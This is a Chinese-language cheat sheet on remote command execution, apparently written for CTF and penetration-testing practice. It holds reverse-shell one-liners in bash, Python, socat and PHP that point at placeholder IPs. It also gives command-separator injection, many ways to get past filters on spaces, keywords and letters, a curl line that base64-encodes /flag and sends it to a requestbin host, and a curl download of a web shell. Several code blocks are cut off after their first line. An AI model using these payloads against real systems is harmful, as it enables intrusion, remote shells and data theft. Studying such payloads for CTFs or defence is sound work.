远程命令执行/远程代码执行 (Remote Command/Code Execute, RCE)
常用命令
1 | #查看文件命令 |
命令分隔符
1 | ping x.x.x.x;ls #先执行1再执行2,不管1成功与否都会执行2 |
反弹shell
bash
1 | bash -c "bash -i > /dev/tcp/[IP]/[Port] 0>&1 2>&1" |
python
1 | python3 -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("your-ip",7777));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")' |
socat
1 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:x.x.x.x:port |
php
1 | php -r '$sock=fsockopen("ip",6666);exec("/bin/bash -i <&3 >&3 2>&3");' |
go
1 | package main |
绕过(bypass)
空格
1 | <,<>,%20,%09,$IFS,${IFS},$IFS$9,{cat,1.txt} |
分号
1 | %0a |
命令(以pwd为例)
1 | a=p;b=wd;$a$b,p''wd,p""wd,p\`\`wd,p\wd,pwd$u,`echo cHdk|base64 -d\`,echo "707764"|xxd -r -p|bash |
关键词(以flag为例)
1 | cat fla*,cat f???,cat flag$u,cat fl"a"g,cat fl'a'g |
IP地址
转数字地址:http://www.msxindl.com/tools/ip/ip_num.asp
无回显
写文件
1 | curl -o shell.php http://xxxxxx.txt |
请求带出
1 | curl http://requestbin.net/r/1kiej1p1?p=`cat /flag|base64` |
平台:
平台地址 | 说明 |
---|---|
http://www.dnslog.cn/ | 只能使用 dnslog 外带,另外很多防火墙会 ban 掉该域名。 |
http://ceye.io/ | 可以使用 http 外带和 dnslog 外带,推荐。 |
参考txt:
http://php.loglog.jp/net/exec.php.txt
https://johannes.homepc.org/packet9.txt
https://metaeventos.net/userfiles/file/p.txt
https://www.cpdc.com.tw/uploads/zhang.txt
bash时间盲注
1 | import requests |
其他命令:
1 | if fgrep -c "a" "flag.txt"; then echo "T"; else "F"; fi |
无字母 / 特殊字符
BashFuck生成器:BashFuck Payload Generator
禁用 ?
八进制(不能解析带有参数的命令)
ls
-> $'\154\163'
禁用 ? 2-9
bash对于整数的表示形式是 [base#]n
的形式,比方说如果一个十进制数4,可以表示为二进制数100,那么在bash里可以表示为 2#100
。
在现有条件下,只要通过位运算 $((1<<1))
构造出2,就可以通过这种形式来构造任意数字了,比方说 ls
就是$(($((1<<1))#10011010)) $(($((1<<1))#10100011))
,但是 $'\154\163'
这种形式可以,而直接运行 $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
会报错。
仔细看报错信息,可以看出,bash是确实把$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
这一串字符串解析为$'\154\163'
这个形式了,但是没有进一步解析,也就是经过bash的处理,这一段字符变成了$'\154\163'
而没有变成ls
。
这里引入bash的一个语法<<<
三个小于号(here-strings),语法:command [args] <<<["]$word["]
,$word
会展开并作为command的stdin。
所以只要把这个字符串作为$0
(bash)命令的stdin,就可以执行命令了,比如:bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
但是这种命令形式不支持带参数的复杂命令,仅支持不带参数的命令,是因为bash把这一个字符串当作整体,而没有把空格作为分隔符正确解析,所以,我们可以通过两次here-strings的方法来解析复杂的带参数命令。
1 | cmd = 'ls -al' |
仅含 <$!{}()_&
可以尝试通过${!?}
和${!#}
的形式拿到bash
,如果不行,仅能通过定义一个__=$(())
的方式将__
变量的值设置为0,然后通过${!__}
的形式拿到sh
字符。两条命令间通过&&
进行连接。至于为什么是两个下划线,是因为bash的变量命名规范是以下划线或者英文字母开头,可以包含下划线和英文字母数字。
可以通过$(())
取到0,然后对0进行按位取反,可以得到-1,很多个-1进行排列 可以得到-2、-3、-4、-5、-6、-7、-8,然后再按位取反就可以得到1、2、3、4、5、6、7。这样就得到了8进制命令拼接的所有数字。
1 | cmd = 'ls -al' |
仅含 <$ {}\#()'0
重定向+八进制+数字构造
1 | import requests |
参考: